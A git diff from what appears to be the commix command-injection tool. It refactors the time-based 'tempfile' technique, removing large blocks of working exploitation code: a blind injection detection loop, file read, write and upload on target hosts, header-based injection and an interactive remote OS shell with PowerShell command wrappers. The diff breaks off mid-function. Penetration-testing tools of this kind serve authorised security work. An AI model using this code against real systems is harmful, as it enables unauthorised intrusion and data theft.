-the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector - -""" - The "tempfile-based" injection technique on Semiblind OS Command Injection. - __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - _ = True - from src.core.injections.results_based.techniques.classic import cb_injector - whitespace = settings.WHITESPACES[0] - cmd = checks.change_dir(dest_to_write) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - cmd = checks.delete_tmp(tmp_fname) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - cb_injector.injection_results(response, TAG, cmd) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - if settings.VERBOSITY_LEVEL == 0 and not _: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - cmd, dest_to_upload = checks.check_file_to_upload() - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - _ = True - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if menu.options.file_write: - file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - tfb_injector.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - if menu.file_access_options(): - do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 25e2c5a841..4fcaef090c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -13,417 +13,20 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import string -import random -import base64 -from src.utils import menu -from src.utils import logs from src.utils import settings -from src.core.compat import xrange -from src.utils import session_handler -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.core.injections.controller import shell_options -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler -from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads -from src.core.injections.semiblind.techniques.tempfile_based import tfb_enumeration -from src.core.injections.semiblind.techniques.tempfile_based import tfb_file_access +from src.core.injections.controller import handler """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive results. """ -""" -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - """ The "tempfile-based" injection technique handler """ -def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): - - counter = 1 - num_of_chars = 1 - vp_flag = True - no_result = True - is_encoded = False - possibly_vulnerable = False - false_positive_warning = False - export_injection_info = False - how_long = 0 - injection_type = settings.INJECTION_TYPE.SEMI_BLIND - technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED - - if settings.TIME_RELATIVE_ATTACK == False: - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = None - - # Check if defined "--url-reload" option. - if menu.options.url_reload == True: - checks.reload_url_msg(technique) - - # Check if defined "--maxlen" option. - if menu.options.maxlen: - settings.MAXLEN = maxlen = menu.options.maxlen - - if not settings.LOAD_SESSION: - # Change TAG on every request to prevent false-positive resutls. - TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) - - checks.testing_technique_title(injection_type, technique) - #whitespace = checks.check_whitespaces() - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - how_long_statistic = [] - if settings.LOAD_SESSION: - try: - settings.TEMPFILE_BASED_STATE = True - cmd = shell = "" - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT - except TypeError: - checks.error_loading_session_file() - - else: - num_of_chars = num_of_chars + 1 - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT - alter_shell = menu.options.alter_shell - tag_length = len(TAG) + 4 - - for output_length in range(1, int(tag_length)): - try: - # Tempfile-based decision payload (check if host is vulnerable). - if alter_shell : - payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload)) - - # Cookie header injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP header injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP header injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP header injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url) - - # Statistical analysis in time responses. - how_long_statistic.append(how_long) - - # Injection percentage calculation - percent, float_percent = checks.percentage_calculation(num_of_chars, total) - - if percent == 100 and no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - else: - percent = "" - else: - if checks.time_relative_shell(url_time_response, how_long, timesec): - # Time relative false positive fixation. - false_positive_fixation = False - if len(TAG) == output_length: - - # Simple statical analysis - statistical_anomaly = True - if len(set(how_long_statistic[0:5])) == 1: - if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1: - statistical_anomaly = False - how_long_statistic = [] - - if timesec <= how_long and not statistical_anomaly: - false_positive_fixation = True - else: - false_positive_warning = True - - # Identified false positive warning message. - if false_positive_warning: - timesec, false_positive_fixation = checks.time_delay_due_to_unstable_request(timesec) - - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - - # Check if false positive fixation is True. - if false_positive_fixation: - false_positive_fixation = False - settings.FOUND_HOW_LONG = how_long - settings.FOUND_DIFF = how_long - timesec - if false_positive_warning: - time.sleep(1) - randv1 = random.randrange(0, 4) - randv2 = random.randrange(1, 5) - randvcalc = randv1 + randv2 - - if settings.TARGET_OS == settings.OS.WINDOWS: - if alter_shell: - cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" - else: - rand_num = randv1 + randv2 - cmd = "powershell.exe -InputFormat none write (" + str(rand_num) + ")" - else: - cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))" - - # Set the original delay time - original_how_long = how_long - - # Check for false positive resutls - how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning) - - if checks.time_relative_shell(url_time_response, how_long, timesec): - if str(output) == str(randvcalc) and len(TAG) == output_length: - possibly_vulnerable = True - how_long_statistic = 0 - if settings.VERBOSITY_LEVEL == 0: - percent = settings.info_msg - else: - percent = "" - #break - else: - break - # False positive - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - else: - if settings.VERBOSITY_LEVEL == 0: - percent = ".. (" + str(float_percent) + "%)" - checks.injection_process(injection_type, technique, percent) - continue - - except (KeyboardInterrupt, SystemExit): - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if 'cmd' in locals(): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except: - percent = ((num_of_chars * 100) / total) - float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2)) - if str(float_percent) == "100.0": - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - percent = settings.FAIL_STATUS - checks.injection_process(injection_type, technique, percent) - else: - percent = "" - else: - percent = ".. (" + str(float_percent) + "%)" - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - # Print logs notification message - logs.logs_notification(filename) - #raise - else: - percent = ".. (" + str(float_percent) + "%)" - break - - # Yaw, got shellz! - # Do some magic tricks! - if checks.time_relative_shell(url_time_response, how_long, timesec): - - if (len(TAG) == output_length) and \ - (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level): - - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - shell = "" - session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - settings.LOAD_SESSION = False - - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == settings.OS.WINDOWS: - time.sleep(1) - - # Check for any enumeration options. - tfb_enumeration.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Check for any system file access options. - tfb_file_access.stored_session(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Check if defined single cmd. - if menu.options.os_cmd: - cmd = menu.options.os_cmd - check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - if len(output) > 1: - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - gotshell = checks.enable_shell(url) - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if false_positive_warning: - checks.time_delay_recommendation() - false_positive_warning = False - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - settings.print_data_to_stdout(settings.END_LINE.CR + settings.OS_SHELL) - cmd = common.read_input(message="", default="os_shell", check_batch=True) - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - if cmd.lower() == "quit" or cmd.lower() == "exit": - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - if menu.options.ignore_session or \ - session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - # Export injection result - tfb_injector.export_injection_results(cmd, separator, output, check_how_long) - if not menu.options.ignore_session : - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - settings.print_data_to_stdout(settings.print_output(output)) - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, output) - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False - else: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - return True - elif gotshell in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(gotshell) - pass - - except (KeyboardInterrupt, SystemExit): - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.print_data_to_stdout(settings.END_LINE.CR) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - # Delete previous shell (text) files (output) from temp. - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.print_data_to_stdout(settings.END_LINE.CR) - raise - - if no_result == True: - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - return False - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): + return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -435,9 +38,11 @@ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time checks.time_relative_attaks_msg() settings.TIME_RELATIVE_ATTACK = True - if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False: - settings.TIME_RELATIVE_ATTACK = False - settings.TEMPFILE_BASED_STATE = False + injection_type = settings.INJECTION_TYPE.SEMI_BLIND + technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED + + if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: + settings.TIME_RELATIVE_ATTACK = settings.TEMPFILE_BASED_STATE = False return False # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 8a11fcb2a8..7b6638235d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -13,516 +13,23 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys -import time -import json -import string -import random -import base64 -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import menu -from src.utils import settings -from src.utils import common -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.core.injections.controller import checks -from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads +from src.core.injections.controller import injector """ The "tempfile-based" injection technique on semiblind OS command injection. __Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls. """ -""" -Examine the GET/POST requests -""" -def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - vuln_parameter = ''.join(vuln_parameter) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else : - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - - return how_long - -""" -Check if target host is vulnerable. -""" -def injection_test(payload, http_request_method, url): - - start = 0 - end = 0 - start = time.time() - - # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - payload = payload.replace("#","%23") - # Encoding non-ASCII characters payload. - # payload = _urllib.parse.quote(payload) - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - - # Check if defined method is POST. - else: - parameter = menu.options.data - #parameter = _urllib.parse.unquote(parameter) - # Check if its not specified the 'INJECT_HERE' tag - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - - # Define the vulnerable parameter - vuln_parameter = parameters.vuln_POST_param(parameter, url) - - # Define the POST data - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - - # Check if defined extra headers. - headers.do_check(request) - # Get the response of the request - response = requests.get_request_response(request) - - end = time.time() - how_long = int(end - start) - return how_long, vuln_parameter - -""" -Check if target host is vulnerable. (Cookie-based injection) -""" -def cookie_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (User-Agent-based injection) -""" -def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def referer_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.referer_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Referer-based injection) -""" -def host_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.host_injection(url, vuln_parameter, payload, http_request_method) - -""" -Check if target host is vulnerable. (Custom header injection) -""" -def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): - return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) - """ The main command injection exploitation. """ -def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - - if settings.TARGET_OS == settings.OS.WINDOWS: - previous_cmd = cmd - if alter_shell: - cmd = cmd = checks.quoted_cmd(cmd) - else: - cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - - if menu.options.file_write or menu.options.file_upload : - minlen = 0 - else: - minlen = 1 - - found_chars = False - info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - for output_length in range(int(minlen), int(maxlen)): - # Execute shell commands on vulnerable host. - if alter_shell : - payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - else: - payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = 